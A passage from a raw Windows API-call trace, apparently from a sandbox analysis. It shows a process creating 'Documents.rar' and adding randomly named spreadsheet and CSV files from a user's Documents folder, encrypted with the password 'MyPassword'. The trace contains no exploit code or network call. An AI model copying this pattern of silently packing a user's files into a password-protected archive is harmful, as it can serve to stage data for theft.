Flags=0x0, Size=0x20) returned 0x3b65890 [0068.858] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.858] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b658c0 | out: hHeap=0x2e0000) returned 1 [0068.858] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65890 | out: hHeap=0x2e0000) returned 1 [0068.858] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65860, Size=0x48) returned 0x39db40 [0068.858] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.858] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.858] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.859] GetTickCount () returned 0xa677f0 [0068.859] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14419927745) returned 1 [0068.859] GetTickCount () returned 0xa677f0 [0068.859] GetTickCount () returned 0xa677f0 [0068.859] GetTickCount () returned 0xa677f0 [0068.859] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.859] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.859] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.859] ResetEvent (hEvent=0x1a4) returned 1 [0068.859] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.860] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.860] ResetEvent (hEvent=0x1a4) returned 1 [0068.860] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.863] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.863] ResetEvent (hEvent=0x1a4) returned 1 [0068.863] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.864] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.865] GetTickCount () returned 0xa677f0 [0068.865] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14420500253) returned 1 [0068.865] GetTickCount () returned 0xa677f0 [0068.865] GetTickCount () returned 0xa677f0 [0068.865] GetTickCount () returned 0xa677f0 [0068.865] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.865] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.865] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.865] ResetEvent (hEvent=0x190) returned 1 [0068.865] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.865] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.865] ResetEvent (hEvent=0x190) returned 1 [0068.865] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.866] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.866] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.866] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.866] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x3a04eb [0068.866] SetFilePointer (in: hFile=0x198, lDistanceToMove=118, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3a0561 [0068.866] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.866] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.866] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.866] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.866] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x10c90, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x10c90, lpOverlapped=0x0) returned 1 [0068.867] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.867] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.867] SetFilePointer (in: hFile=0x198, lDistanceToMove=3802347, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3a04eb [0068.867] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x3a04eb [0068.867] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.867] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65890 [0068.867] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65890, Size=0x48) returned 0x39daf0 [0068.867] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.867] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65890 [0068.867] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65890, Size=0x48) returned 0x39db40 [0068.867] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.868] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.868] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65890 [0068.868] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.868] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b658c0 | out: hHeap=0x2e0000) returned 1 [0068.868] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65890 | out: hHeap=0x2e0000) returned 1 [0068.868] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65860, Size=0x48) returned 0x39daf0 [0068.868] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.868] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x76, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x76, lpOverlapped=0x0) returned 1 [0068.868] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65860 [0068.868] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x76) returned 0x3b4c510 [0068.868] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.868] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.868] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3b11f1 [0068.868] CloseHandle (hObject=0x1b0) returned 1 [0068.868] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.868] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.868] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.868] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.868] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\T4drjs69aH-eO2f3M.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.868] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.868] CreateFileW (lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\T4drjs69aH-eO2f3M.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\bzepulzpesbclsb0\\t4drjs69ah-eo2f3m.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.868] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.868] GetTickCount () returned 0xa677f0 [0068.868] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.868] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.868] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.868] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.868] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="Ey3s.xlsx") returned 9 [0068.868] SetWindowTextW (hWnd=0x10280, lpString="T4drjs69aH-eO2f3M.xlsx") returned 1 [0068.869] GetTickCount () returned 0xa677f0 [0068.869] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.869] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.869] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.869] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.869] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x1c6)) [0068.869] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.869] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14420948523) returned 1 [0068.869] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x99f7, lpOverlapped=0x0) returned 1 [0068.870] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a9a37, nNumberOfBytesToRead=0xf6609, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a9a37*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.870] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.870] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.870] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65890 [0068.870] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.870] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658c0, Size=0x48) returned 0x39db40 [0068.870] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.870] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.870] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658c0, Size=0x48) returned 0x39daf0 [0068.870] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.870] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.870] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.870] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.870] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b658f0 | out: hHeap=0x2e0000) returned 1 [0068.870] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b658c0 | out: hHeap=0x2e0000) returned 1 [0068.870] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65890, Size=0x4a) returned 0x3b5b210 [0068.870] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x86) returned 0x3a3910 [0068.870] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.870] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.872] GetTickCount () returned 0xa677f0 [0068.872] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14421203639) returned 1 [0068.872] GetTickCount () returned 0xa677f0 [0068.872] GetTickCount () returned 0xa677f0 [0068.872] GetTickCount () returned 0xa677f0 [0068.872] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.872] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.872] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.872] ResetEvent (hEvent=0x1a4) returned 1 [0068.872] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.874] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.874] ResetEvent (hEvent=0x1a4) returned 1 [0068.874] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.875] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.875] GetTickCount () returned 0xa677ff [0068.875] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14421580814) returned 1 [0068.875] GetTickCount () returned 0xa677ff [0068.875] GetTickCount () returned 0xa677ff [0068.875] GetTickCount () returned 0xa677ff [0068.875] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.876] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.876] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.876] ResetEvent (hEvent=0x190) returned 1 [0068.876] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.876] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.876] ResetEvent (hEvent=0x190) returned 1 [0068.876] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.877] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.877] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.877] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.877] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x3b11f1 [0068.877] SetFilePointer (in: hFile=0x198, lDistanceToMove=131, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3b1274 [0068.877] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.877] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.877] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.877] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.877] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.877] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x9a60, lpOverlapped=0x0) returned 1 [0068.878] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.878] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.878] SetFilePointer (in: hFile=0x198, lDistanceToMove=3871217, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3b11f1 [0068.878] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x3b11f1 [0068.878] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65890 [0068.878] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.878] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658c0, Size=0x48) returned 0x39daf0 [0068.878] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.878] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.878] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658c0, Size=0x48) returned 0x39db40 [0068.878] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.878] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.878] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.878] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b658f0 | out: hHeap=0x2e0000) returned 1 [0068.878] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b658c0 | out: hHeap=0x2e0000) returned 1 [0068.878] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65890, Size=0x4a) returned 0x3b5b210 [0068.878] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x86) returned 0x3a3910 [0068.878] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x83, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x83, lpOverlapped=0x0) returned 1 [0068.878] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65890 [0068.878] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x83) returned 0x3a3c70 [0068.878] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.878] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.878] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3bacd4 [0068.878] CloseHandle (hObject=0x1b0) returned 1 [0068.878] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.878] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.878] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.878] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.878] FindFirstFileW (in: lpFileName="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.878] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.878] CreateFileW (lpFileName="XRS5ksD\\jRXwpLVqeVbMwn-9J\\8BCPb3BzgmrIOA5.csv" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\jrxwplvqevbmwn-9j\\8bcpb3bzgmrioa5.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.878] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.878] GetTickCount () returned 0xa677ff [0068.878] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.879] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.879] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.879] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.879] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="T4drjs69aH-eO2f3M.xlsx") returned 22 [0068.879] SetWindowTextW (hWnd=0x10280, lpString="8BCPb3BzgmrIOA5.csv") returned 1 [0068.879] GetTickCount () returned 0xa677ff [0068.879] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.879] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.879] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.879] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.879] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x1d6)) [0068.879] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.879] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14421971854) returned 1 [0068.879] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xb6c4, lpOverlapped=0x0) returned 1 [0068.880] ReadFile (in: hFile=0x1b0, lpBuffer=0x36ab704, nNumberOfBytesToRead=0xf493c, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36ab704*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.880] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.880] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.880] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658c0 [0068.880] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.880] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658f0, Size=0x48) returned 0x39db40 [0068.880] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.880] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.880] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b658f0, Size=0x48) returned 0x39daf0 [0068.880] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.880] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.880] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b658f0 [0068.880] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 